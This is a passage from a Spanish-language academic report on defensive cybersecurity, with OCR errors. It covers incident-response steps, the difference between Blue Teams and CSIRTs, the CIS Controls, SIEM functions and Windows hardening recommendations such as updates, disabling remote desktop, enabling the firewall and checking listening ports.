la red, y clasificaria este incidente como “Acceso no autorizado” durante y aplicaria
lo siguiente: en un ataque en tiempo real, se debera aislar segmentos de la red,
evitando asi que el ataque se siga propagando, reduciendo los dafos a la
plataforma de Tl y la pérdida de la confidencialidad, integridad y disponibilidad de la
informacion.

Asi mismo se debe aislar el dispositivo atacado mediante la desactivacion de la
tarjeta de red (Cableada o Wifi), luego se debe verificar que este dispositivo cuente
con una solucién de antivirus, ademas de que este actualizado, para proceder con
un escaneo en busqueda de virus.

Se debera hacer una recoleccién de log de eventos del sistema operativo, las
aplicaciones, herramientas de seguridad, y de la red, para su respectiva revision y
analisis, luego correlacionar estos eventos logrando asi descubrir patrones de
comportamientos anormales, para una posible identificacion de la causa del
incidente.

Si se detecta creacion de usuarios, estos no seran eliminados, pero si bloqueados,
ya que la eliminacion borraria cualquier rastro de evidencia, pero dado el caso que
se detecte compromiso de Root del sistema, se debera apagar el dispositivo.

Obtener un andlisis de red, donde contenga la IP de los dispositivos que generaron
alto pico de uso de red, que puertos fueron utilizados por servicios o aplicaciones, y
que IP recibié un alto numero de peticiones, para identificar que otros dispositivos
fueron atacados, y realizar un escaneo de IP en la red, para detectar si el atacante
aun sigue en la red, deduciendo que fue un ataque interno.

23 CIBERSEG1922. Plan de respuesta a incidentes de seguridad. Ciberseguridad [pagina web]. (11,
mayo,  2020). [Consultado el 26, marzo,  2023]. Disponible  en Internet:
<https://ciberseguridad.com/normativa/espana/medidas/plan-respuesta-incidentes-seguridad/>.
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19 ANALISIS SOBRE LAS DIFERENCIAS ENTRE EL EQUIPO DE BLUE TEAM
Y EL EQUIPO DE RESPUESTA A INCIDENTES INFORMATICOS

Aunque su objetivo es velar en post de la seguridad de la informacion, se puede
decir que un Blue Team es un equipo que esta presto ante un incidente de seguridad
en una organizacion, para realizar labores de contencion de respuesta inmediata,
mientras que el equipo de respuesta a incidentes informaticos, actuan después del
incidente de seguridad, aunque esto esta cambiando en la actualidad.

Otra diferencia que existe entre estos 2 grupos es que el Blue Team segun la pagina
web de Intelequia?*, esta formado solo por profesionales de la seguridad, mientras
que un equipo de respuesta a incidentes informaticos, segun la Organizacion de los
Estados Americanos?®, en su guia “Buenas Practicas para establecer un CSIRT
nacional” nos dice “estos equipos suelen estar conformados por especialistas
multidisciplinarios que actuan segun procedimientos y politicas predefinidas”.

Ademas, el Blue Team debe ir de la mano del Red Team, porque no puede existir
un Blue Team sin Red Team y viceversa, pues entre ellos se comparten informacion,
por ejemplo, el Red Team al tener éxito en uno de sus ataques, entregara un informe
detallado al Blue Team del como realizo una intrusién al sistema, para que el Blue
Team corrija las vulnerabilidades encontradas, mientras que un equipo de respuesta
a incidentes informaticos puede funcionar sin depender de otros equipos.

Decir también que los CSIRT, en la actualidad tienen mucha mas importancia que
un equipo Blue Team, porque algunos paises ya cuentan con estos grupos CSIRT,
es el caso de Colombia, la cual cuenta con ElI CSIRT de Gobierno, CC-CSIRT de la
Policia Nacional, CSIRT — Asobancaria y el ColCERT entre otros.

24 INTELEQUIA. Red team y blue team - funciones y diferencias en ciberseguridad. Intelequia [pagina
web]. (26, enero, 2021). [Consultado el 25, marzo, 2023]. Disponible en Internet:
<https://intelequia.com/blog/post/red-team-y-blue-team-funciones-y-diferencias-en-ciberseguridad>.
25 ORGANIZACION DE LOS ESTADOS AMERICANOS. Buenas Préacticas para establecer un CSIRT
nacional. OAS - Organization of American States [pagina web]. (2016). [Consultado el 25, marzo,
2023]. Disponible en Internet:
<https://www.oas.org/es/sms/cicte/ciberseguridad/publicaciones/2016%20-
%20Buenas%20Practicas%20CSIRT.pdf>.
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20 ANALISIS SOBRE LA PERTINENCIA DE TRABAJAR CON CIS “CENTER
FOR INTERNET SECURITY” COMO PROPUESTA DE ASEGURAMIENTO
POR PARTE DE UN EQUIPO DE BLUE TEAM

Los Controles CIS, segun la propia organizacién Cisecurity?® autora de estos, es un
compilado de buenas practicas de defensa en pro de la ciberseguridad, que mitigan
los ataques mas comunes contra sistemas y redes TI.

Implementar y trabajar con estos controles representarian un gran beneficio para la
organizacion, porque se estaria utilizando controles con acciones priorizadas y
focalizadas, que son formulados por una comunidad de expertos en T, apoyados
en la informacion obtenida de ataques reales y sus defensas efectivas, reglas de
control técnico para aplicar a los dispositivos de red, sistemas operativos, y
aplicaciones de software de la organizacion.

Estos controles ayudarian a la organizacién a mejorar la seguridad y reforzar la
defensa contra vectores de ataque, reduciendo el riesgo de exposicion y mitigar la
gravedad de la mayoria de los tipos de ataque. Cabe destacar estos controles estan
en constante revision por la comunidad, y son actualizados segun los entornos de
red cambiante de las organizaciones y el panorama de amenazas cambiantes
contra la seguridad de la informacion.

26 CISECURITY. CIS controls version 7 spanish. Cisecurity [pagina web]. [Consultado el 24, marzo,
2023]. Disponible en Internet:
<https://lwww.cert.gov.py/application/files/7415/3625/3112/CIS_Controls_Version_7_ Spanish_Trans
lation.pdf>.

48



21 ANALISIS SOBRE LAS FUNCIONES Y CARACTERISTICAS PRINCIPALES
DE UN SIEM.

SIEM seguin Microsoft?’, lo define como una combinacion entre la administracion de
informacion de seguridad (SIM) y la administracion de eventos de seguridad (SEM)
en un solo sistema de administracion de seguridad, que suministra a las
organizaciones una vision en tiempo real sobre el trafico de la red, para que estas
puedan dar una rapida respuesta ante posibles ataques cibernéticos, asi como el
registrar los datos de seguridad a efectos de cumplimiento o auditoria.

La tecnologia SIEM (Security Information and Event Management) es una solucion
integral de seguridad que da soporte a las organizaciones ante el reconocimiento
de vulnerabilidades y posibles amenazas de seguridad, de forma anticipada ante
una interrupcion de las operaciones empresariales. Descubre anomalias que se
puedan dar en el comportamiento de los usuarios, y hace uso de la inteligencia
artificial para la automatizaciéon de muchos procesos que se realizan de forma
manual en la identificacion de amenazas y respuestas a incidentes, ademas que
hace parte de los elementos basicos de los centros de operaciones de seguridad
(SOC) actuales. Sus herramientas mediante la recopilacion y analisis de volumenes
de datos provenientes de los registros de ventos de aplicaciones, servidores,
dispositivos y usuarios, identifica actividades andomalas mediante reglas
predeterminadas y toma las medidas adecuadas ante un posible ataque, todo esto
lo hace en tiempo real.

21.1 CARACTERISTICAS

Entre las principales caracteristicas de un SIEM de una organizacion, para la
seguridad y respuesta rapida son:

e Funciona por reglas internas de correlacion.

e Es capaz de Identificar si una amenaza es real o es un falso positivo.

e Control y monitorizacion centralizada de todas las posibles amenazas.

¢ Redireccion de la actuacion al equipo cualificado para su solucion.

e Trabaja con datos de fuentes diversas.

e Crea alertas propias ante posibles riesgos informaticos que se envian a un
administrador.

2T MICROSOFT. ¢ Qué es SIEM? Microsoft [pagina web]. [Consultado el 24, marzo, 2023]. Disponible
en Internet: <https://www.microsoft.com/es-es/security/business/security-101/what-is-siem>.
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Aportar un mayor grado de conocimiento sobre los incidentes para facilitar su
resolucion.

Documentacién de todo el proceso de deteccion, actuacion y resolucion.
Cumplimiento con las normas y legislaciones vigentes en cuestiéon de
proteccion de datos y seguridad.

Ahorro de recursos al realizarse la recopilacién de informacién de manera
centralizada y automatica

21.2 FUNCIONES BASICAS

Entre las funciones basicas que ofrece la tecnologia SIEM, se encuentran las
siguientes:

Agregacion de datos: El SIEM tiene la capacidad para administrar la
informacion al recopilar datos y registros de multiples fuentes para garantizar
gue no se pierda ningun evento de seguridad importante.

Correlacién: La correlacion de eventos es un componente que transformar
los datos recibidos al integrar diferentes fuentes en informacion significativa
y util, esta correlacién de eventos suministra informacion con la cual se
localizara y mitigara rapidamente posibles amenazas a la seguridad de la
organizacion.

Notificacion o Alerta: se da mediante el analisis automatizado de eventos
correlacionados de manera que se generen avisos de seguridad se han
detectado amenazas, los cuales son enviados a un administrador, esta
alerta puede ser un tablero de instrumentos, o una notificacion via email,
pero segun su criticidad, puede llegar a implementar incluso llamadas
automaticas.

Dashboards: Los SIEM tienen herramientas necesarias que pueden procesar
datos en bruto del evento y convertirlo en algo mas facil de entender como
cuadros, graficos y barras, para ayudar a ver patrones o identificar una
actividad que no esta siguiendo un patrén estandar.
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e Cumplimiento: Los SIEM ayudan con el cumplimiento normativo, mediante
la automatizacion de la recopilacion de la informacion necesaria, creara
informes que se adapten a los procesos existentes de seguridad,
gobernabilidad y auditoria.

e Retencion: Un SIEM almacenan los datos y eventos a largo plazo para
facilitar la correlacién de datos con el tiempo, caracteristica que es vital
para un correcto desempefo de funciones de analisis forense.

e Redundancia: Segun Incibe?®, para evitar la pérdida de datos, la base de
datos de un SIEM suele estar redundada.

28 INCIBE. Despliegue de SIEM en entornos TO. INCIBE-CERT [pagina web]. (14, noviembre, 2019).
[Consultado el 25, marzo, 2023]. Disponible en Internet: <https://www.incibe-cert.es/blog/despliegue-
siem-entornos>.
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CONCLUSIONES

La ciberseguridad o conocida coloquialmente como la seguridad de la informacion
es un pilar critico y de mucho cuidado, en el cual toda organizacion que use las
Tecnologias de la Informacién debe reforzar sus bases, porque la exposicién a
amenazas cibernéticas es constante y cualquier ataque puede ocasionar grandes
consecuencias.

El avance tecnologico, permite que se creen nuevas amenazas y técnicas para el
aprovechamiento de vulnerabilidades por parte de los ciberdelincuentes, lo cual
insta a la necesidad de siempre estar a la par en cuanto a las ultimas tendencias y
técnicas para mantenerse protegido.

Al ser el eslabén mas débil en la seguridad de la informacion, las personas en las
organizaciones deben estar en constante capacitacion y concientizacion. Pues
todos los miembros en una organizacidon deben estar en sintonia en cuanto al
conocimiento de ciberseguridad y que se fomente una cultura de seguridad, y no
caigan antes ataques de Ingenieria Social como lo son el Whaling, Phishing, y
Baiting.

Una buena implementacion de técnicas de endurecimiento para la seguridad es
fundamental para la proteccién de la informacion y los sistemas. Estas medidas
pueden incluir el uso de herramientas software o hardware

La rivalidad entre organizaciones no debe traerse al mundo de la seguridad de la
informacion, al contrario, la colaboracién y la cooperacion son importantes para la
prevencion y deteccion de ataques cibernéticos. Pues compartiendo las falencias y
soluciones, las organizaciones se fortalecen en conjunto al saber cémo evitar
amenazas y vulnerabilidades.
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RECOMENDACIONES

Se pueden realizar las siguientes acciones para evitar que sucedan ataques de
seguridad informatica, estas técnicas de endurecimiento tienen como fin hacer mas
dificil una intrusion al sistema en un dispositivo de computo y que sea menos
vulnerable ante los ciberataques, estas técnicas son aplicadas tanto al software y
hardware de una organizacion.

Entre estas técnicas tenemos:
INSTALACION NUEVA DEL SISTEMA OPERATIVO

Aunque no es una técnica de endurecimiento, si es una muy buena recomendacion,
de que la instalacion del sistema operativo, no se realice sobre otro que ya se
encuentra instalado, ejemplo de esto es cuando se busca la actualizacién de la
version de un sistema operativo en el caso Windows 7 a Windows 10, o cuando se
ha comprado un equipo de alguna de las marcas, pues los sistemas utilizados
anteriormente pueden tener malware, spyware, y los sistemas preinstalados pueden
contener una cantidad absurda de bloatware.

ACTUALIZACIONES DEL SISTEMA OPERATIVO, LAS APLICACIONES
INFORMATICAS, Y FIRMWARE DE LOS DISPOSITIVOS ELECTRONICOS

Es muy importante mantener actualizado el sistema operativo y las aplicaciones
instaladas, porque con esto se corrigen fallas de seguridad, mediante los diferentes
parches que las empresas desarrolladoras van desplegando, siempre debemos
optar porque estas actualizaciones se hagan de manera automatica (si esta opcién
esta disponible), cabe recordar que se debe tener cuidado con el software y los
actualizaciones a instalar, que este provenga de una fuente confiable, en lo posible
hacer su descarga desde la pagina principal, ademas que no se debe instalar
aplicaciones de versiones antiguas, las cuales ya no dispongan de actualizaciones
de seguridad. De forma predeterminada las actualizaciones automaticas vienen
habilitadas en los sistemas operativos Windows y Linux, pero para forzar las
actualizaciones en Windows ingresamos a la configuracion y buscamos la opcién
Windows Update y pulsamos sobre el botdn buscar actualizaciones como se aprecia
en la Figura 16.
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Figura 16. Forzar actualizaciones Windows

Windows Update

m iTodo esta actualizado!

Mas opciones

00 Pausar actualizaciones Pausar durante 1semana

&  Historial de actualizaciones >

%

Opciones avanzadas

o Windows Insider Program N

Obtener versiones prelim

@) Windows Update se compromete a ayudar a reducir las emisiones de gas. Mas informacién

/@ Obtener ayuda

&7 Enviar comentarios

Fuente: Propia
USUARIOS CON CONTRASENAS FUERTES

Se debe tener cuidado al momento de crear las contrasefias, ya que como seres
humanos siempre optamos por lo facil de recordar, pero esto no debe aplicarse a la
seguridad de las cuentas de usuario, ya que una contrasena es la llave que abre
una puerta a datos sensibles y confidenciales; Esta contrasefia debe contener como
minimo 8 caracteres, y debe contener numeros, mayusculas, minusculas y
caracteres especiales, una buena opcién para recordar la contrasena es cambiar
ciertas letras por simbolos o numeros, por ejemplo la letra S la podemos cambiar
por un numero o simbolo que se parezca en su modo de escritura como lo puede
ser el numero 5 o simbolo $, la vocal A por el numero 4 o el simbolo @ y asi con
mas letras y vocales, ejemplo de esto si yo quisiera usar la palabra Florencia como
contrasefa la podria codificar asi, FIOrSNc1@), haciéndola un poco mas facil de
recordar y mas dificil de hackear.

DESHABILITAR ESCRITORIO REMOTO

Esta herramienta de Windows permite iniciar sesién desde otros equipos de la red
al Computador (o viceversa) de forma remota. Pero con la habilitacion de este
servicio se abren puertos de red en el computador, lo que lo hace vulnerable a los
ataques. Para la deshabilitacidon en sistemas operativos Windows, ingresamos a las
propiedades del sistema, y buscamos la pestana “Remoto” y pulsamos sobre el
cuadro de opcion “Permitir conexiones de asistencia remoto a este equipo” y luego
sobre el botdn de radio “No permitir las conexiones remotas a este equipo” como se
aprecia en la Figura 17
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Figura 17. Deshabilitar acceso remoto

Nombre del equipo Hardware
Opciones avanzadas Proteccion del sistema Remoto

Asistencia remota

() Pemmitir conexiones de Asistencia remota a este equipo

£Qué sucede si se habilita Asistencia remota?

Escritorio remoto
Haz clic en una opcidn y especifica quién puede conectarse.

° No pemitir las conexiones remotas a este equipo

(©) Pemitir las conexiones remotas a este equipo

Ayudame a elegir Seleccionar usuarios...

Aceptar Cancelar Aplicar

Fuente: Propia
INSTALACION DE ANTIVIRUS

Para proteger los archivos del computador a salvo de virus, se debe usar y
mantener actualizado el software antivirus junto con su modulo antimalware, en lo
posible tener una solucién completa de antivirus la cual tenga por lo menos firewall
y VPN segura.

HABILITACION DEL FIREWALL

En cuanto proteccion a nivel de red, es muy buena opcién el contar con un potente
Firewall, pero también dentro del sistema operativo se puede activar esta
caracteristica, para esto procedemos a escribir el siguiente comando en la ventana
ejecutar, firewall.cpl, damos clic a la opcidn “Activar o desactivar firewall de Windows
Defender”, luego seleccionamos "Activar el Firewall de Windows Defender" (Figura
18) para todos los perfiles de red y luego hacemos clic en Aceptar. Igualmente, se
debe tener ademas del tipico firewall de red, un firewall para base de datos y otro
para las aplicaciones web, esto hara mas dificil que sea vulnerado algun dispositivo
de la red.
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Figura 18. Activacion Firewall de Windows

b
v
a

N 5 > Pane

Ventana principal del Panel de
control

® Permitir una aplicacién o una
caracteristica a través de
Firewall de Windows
Defender

» Cambiar la configuracién de
notificaciones

_> ¥, Activar o desactivar Firewall
de Windows Defender

» Restaurar valores
predeterminados

y Configuracién avanzada

Solucién de problemas de red

Fuente: Propia

ELIMINAR PROGRAMAS NO DESEADOS

Es muy probable que un sistema tenga programas instalados que no se van a
necesitar. Estos programas pueden tener vulnerabilidades aumentando asi la
superficie de ataque y se convierten en posibles puntos de entrada para los
ciberatacantes. Los programas instalados deben ser legitimos y no software
pirateado, que podria estar lleno de malware.

CERRAR PUERTOS ABIERTOS

Los servicios y aplicaciones en el sistema operativo Windows usan puertos de red
para enviar y recibir datos a través de esta. Los puertos abiertos a menudo son
considerados peligrosos porque pueden ser explotados mediante una
vulnerabilidad, si el servicio o la aplicacion que usa estos puertos no estan
parcheados o estan faltos de protocolos de seguridad basicos. Por este motivo es
recomendado que se cierren todos los puertos de red de escucha que el sistema no
esté utilizando; Utilizando el comando netstat -ab en una ventana del simbolo de
sistema de Windows, podemos ver todas las conexiones activas, ademas de los
puertos que estan en escucha (LISTENING) como se aprecia en la Figura 19
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Figura 19. Puertos en Escucha

hos reservados.

Estado
LISTENING

LISTENING
informacién
ISTENING
LISTENING
LISTENING

LISTENING

LISTENING

LISTENING
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Fente Propia

Ademas de las anteriores técnicas, se puede implementar las siguientes
herramientas para contener un ataque

FIREWALL NUEVA GENERACION

Un firewall de nueva generacion, ademas de ofrecer los mismos beneficios que el
tradicional, utiliza soporte de VPN para garantizar que la comunicacion entre la red
local, internet y el NGFW sean validas y seguras, ademas posee un filtro inteligente
de paquetes segun las aplicaciones a las que se dirige el trafico, teniendo asi mas
control y visibilidad de las aplicaciones. Cuenta también con IPS, DPI, mejor
equipamiento contra APT, y una UTM con antivirus y antispam.

FIREWALL DE APLICACIONES WEB (WAF)

Para la proteccién de los servidores que proveen servicio de aplicaciones web, es
necesario que se implemente un firewall de aplicaciones web, ya que este las
protegera de diversos ataques a la capa de aplicacion, tipo cross-site scripting
(XSS), la inyeccion de SQL y el envenenamiento de cookies. Su funcionamiento
consiste en filtrar, vigilar y bloquear todo el trafico HTTP/S malicioso que se dirija
hacia la aplicacion web, e impide que salgan datos no autorizados; esto lo logra
mediante un conjunto de politicas que distinguen entre trafico malicioso y seguro,
es conocido también como proxy inverso pues protege el servidor de aplicaciones
web de un cliente potencialmente malicioso
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FIREWALL DE BASE DE DATOS

Esta herramienta permite filtrar mediante establecimiento de un conjunto de reglas,
las peticiones que llegan al manejador de base de datos, evaluando los comandos
SQL recibidos segun una lista definida, por ejemplo, DROP, ALTER, CREATE entre
otras, ademas de bloquear los ataques por inyecciéon de comandos.

IPS

La implementacion de este tipo de herramienta nos permite saber qué es lo que esta
sucediendo en tiempo real, cuando es detectado alguna posible intrusion no
autorizada, esta herramienta evalua contra una base de datos de ataques y si de
ser un ataque positivo ésta procedera a descartar los paquetes de red o a una
desconexion de esta, normalmente esta situada entre el router que da el servicio de
internet y el firewall.

ENDPOINT DETECTION AND RESPONSE (EDR)

Esta herramienta combina el antivirus con herramientas de monitorizacion e
inteligencia artificial, que permite detectar riesgos y amenazas que de forma
silenciosa provocan incidentes de seguridad. Fuera de la utilizacion del antivirus que
permite detectar identificar y prevenir efectos de exploit y malware, asi como
ransomware, ademas puede detectar amenazas avanzadas como vulnerabilidades
0-day, amenazas persistentes, ataques de ingenieria social, cuentas
comprometidas, entre otras.
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ANEXOS

Video sustentacion:
https://youtu.be/b1 iZoDrp74
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